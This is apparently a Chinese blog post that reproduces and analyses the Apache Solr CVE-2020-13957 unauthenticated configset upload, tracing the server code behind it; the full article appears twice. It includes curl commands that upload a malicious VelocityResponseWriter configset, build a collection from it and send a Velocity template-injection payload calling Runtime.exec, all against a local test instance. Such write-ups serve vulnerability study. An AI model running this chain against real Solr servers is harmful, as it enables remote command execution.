CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析
Ebounce
撰写于 2020年 10月 23 日

CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析

漏洞版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2
<!--more-->

环境搭建

1.在github上下载对应的源码包解压到本地,同时记得装好ivy

2.为了下载依赖环境体验极佳,请先为以下两个文件加自己的代理:

\lucene-solr-releases-lucene-solr-8.6.2\build.xml:

<setproxy proxyhost="your-ip" proxyport="your-port"/>

\lucene-solr-releases-lucene-solr-8.6.2\solr\build.xml同理

3.开始构建环境:

\lucene-solr-releases-lucene-solr-8.6.2\输入ant ivy-bootstrap

然后编译server:

cd solr
ant server

由于设置了代理,可享受丝滑的下载体验

这一步完成之后返回上级目录:

cd ../
ant idea

由于之前构建的时候留有缓存,所以这次比较快,我第一次构建的时候大概用了20分钟左右:

然后开启solr并设置远程debug:

cd \solr\bin
.\solr -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983

这个时候就可以进入idea里面设置远程调试参数了,并启用该远程调试:

与此同时powershell里面:

没有报错已经成功运行起来了,访问127.0.0.1:8983我们可以看到熟悉的solr界面了:

漏洞复现

开启Solr Cloud模式

由于该漏洞涉及到cloud模块,而从上图来看并没有,原因是因为我们没有进行cloud模式启动,我们

使用下面两个命令启动cloud模式(需要开两个shell)

首先创建两个文件夹,将\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr下的zoo.cfgsolr.xml复制到新建的目录下。

然后先开这个(如果需要debug则idea需要开启远程调用)

.\solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest1

再开下面这个

.\solr -c -f -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest2 -m 100M -z 127.0.0.1:9983

这东西后面报错挂掉也不是很影响,或者可以直接加-e cloud的参数快速启动也可以

之后进入127.0.0.1:8983就可以找到cloud模块了:

构建恶意configset

该漏洞成因是能够上传含有恶意配置的solrconfig.xml配置文件,我们可以先看看网上POC如何构造的:POC

恶意点出现在此处:

此恶意类为solr.VelocityResponseWriter该类曾被爆出过存在模板注入导致命令执行漏洞,其中params.resource.loader.enabled为允许用户通过设置请求参数来指定相关资源的加载,也就是说通过这一步配置我们可以加载其他恶意类。

我们可以更改原配置然后重新打包一份:

\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr\configsets\sample_techproducts_configs\conf

找到对应的地方加入恶意参数:

然后将这个目录全部打包:

zip -r - * > eviltest.zip

上传:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest"

查看是否上传成功:

curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true"

利用create操作创建新配置:

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil&baseConfigSet=eviltest&configSetProp.immutable=false&wt=xml&omitHeader=true"

使用之前创建的新配置:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil"

看看面板是否也是成功的:

该有的参数都有

最后测试命令执行:

curl -v "http://127.0.0.1:8983/solr/eviltest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

发现无法执行,最后怀疑是自己编译出了问题,下载了官方的编译包调试也是这个问题,更换成网络上的POC也是这个问题,大概确定8.6.2版本应该是无法命令执行的,很多网络复现的版本通常是7.7.0~8.2.0都是该模板漏洞存在的版本。

漏洞分析

当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"

虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中

所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等,因此挨个全局搜索找到判定点:

org.apache.solr.handler.admin.ConfigSetsHandler

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"

结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板,创建新的模板其名字为evil1,跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置:

我们传入的immutable默认为false,因此从配置的角度来说URL可以稍微简化一点:

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"

这里同样可以上传成功,值得注意的是我们之前在getTrusted打下的断点没有触发,意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的:

随后我们跟进下一步:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"

同样的道理这里出现关键词replicationFactor似乎是一个工厂函数,推测配置就是在这一步创建的,全局搜索replicationFactor,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call

这个函数非常长,具体作用就是创建collection并判断选用的是哪个configsets,最后刷新collection列表:

通过这一系列的操作最后就能够生成新的collection,即配置被加载,从而能被攻击者利用了。

参考链接

CVE-2020-13957)风险通告原理分析与验证

Apache solr Velocity模版远程命令执行漏洞分析

Apache-Solr-RCE

solr-部署详解

solr idea部署

CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析

CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析

漏洞版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2
<!--more-->

环境搭建

1.在github上下载对应的源码包解压到本地,同时记得装好ivy

2.为了下载依赖环境体验极佳,请先为以下两个文件加自己的代理:

\lucene-solr-releases-lucene-solr-8.6.2\build.xml:

<setproxy proxyhost="your-ip" proxyport="your-port"/>

\lucene-solr-releases-lucene-solr-8.6.2\solr\build.xml同理

3.开始构建环境:

\lucene-solr-releases-lucene-solr-8.6.2\输入ant ivy-bootstrap

然后编译server:

cd solr
ant server

由于设置了代理,可享受丝滑的下载体验

这一步完成之后返回上级目录:

cd ../
ant idea

由于之前构建的时候留有缓存,所以这次比较快,我第一次构建的时候大概用了20分钟左右:

然后开启solr并设置远程debug:

cd \solr\bin
.\solr -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983

这个时候就可以进入idea里面设置远程调试参数了,并启用该远程调试:

与此同时powershell里面:

没有报错已经成功运行起来了,访问127.0.0.1:8983我们可以看到熟悉的solr界面了:

漏洞复现

开启Solr Cloud模式

由于该漏洞涉及到cloud模块,而从上图来看并没有,原因是因为我们没有进行cloud模式启动,我们

使用下面两个命令启动cloud模式(需要开两个shell)

首先创建两个文件夹,将\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr下的zoo.cfgsolr.xml复制到新建的目录下。

然后先开这个(如果需要debug则idea需要开启远程调用)

.\solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest1

再开下面这个

.\solr -c -f -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest2 -m 100M -z 127.0.0.1:9983

这东西后面报错挂掉也不是很影响,或者可以直接加-e cloud的参数快速启动也可以

之后进入127.0.0.1:8983就可以找到cloud模块了:

构建恶意configset

该漏洞成因是能够上传含有恶意配置的solrconfig.xml配置文件,我们可以先看看网上POC如何构造的:POC

恶意点出现在此处:

此恶意类为solr.VelocityResponseWriter该类曾被爆出过存在模板注入导致命令执行漏洞,其中params.resource.loader.enabled为允许用户通过设置请求参数来指定相关资源的加载,也就是说通过这一步配置我们可以加载其他恶意类。

我们可以更改原配置然后重新打包一份:

\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr\configsets\sample_techproducts_configs\conf

找到对应的地方加入恶意参数:

然后将这个目录全部打包:

zip -r - * > eviltest.zip

上传:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest"

查看是否上传成功:

curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true"

利用create操作创建新配置:

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil&baseConfigSet=eviltest&configSetProp.immutable=false&wt=xml&omitHeader=true"

使用之前创建的新配置:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil"

看看面板是否也是成功的:

该有的参数都有

最后测试命令执行:

curl -v "http://127.0.0.1:8983/solr/eviltest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

发现无法执行,最后怀疑是自己编译出了问题,下载了官方的编译包调试也是这个问题,更换成网络上的POC也是这个问题,大概确定8.6.2版本应该是无法命令执行的,很多网络复现的版本通常是7.7.0~8.2.0都是该模板漏洞存在的版本。

漏洞分析

当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"

虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中

所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等,因此挨个全局搜索找到判定点:

org.apache.solr.handler.admin.ConfigSetsHandler

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"

结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板,创建新的模板其名字为evil1,跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置:

我们传入的immutable默认为false,因此从配置的角度来说URL可以稍微简化一点:

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"

这里同样可以上传成功,值得注意的是我们之前在getTrusted打下的断点没有触发,意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的:

随后我们跟进下一步:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"

同样的道理这里出现关键词replicationFactor似乎是一个工厂函数,推测配置就是在这一步创建的,全局搜索replicationFactor,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call

这个函数非常长,具体作用就是创建collection并判断选用的是哪个configsets,最后刷新collection列表:

通过这一系列的操作最后就能够生成新的collection,即配置被加载,从而能被攻击者利用了。

参考链接

CVE-2020-13957)风险通告原理分析与验证

Apache solr Velocity模版远程命令执行漏洞分析

Apache-Solr-RCE

solr-部署详解

solr idea部署

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论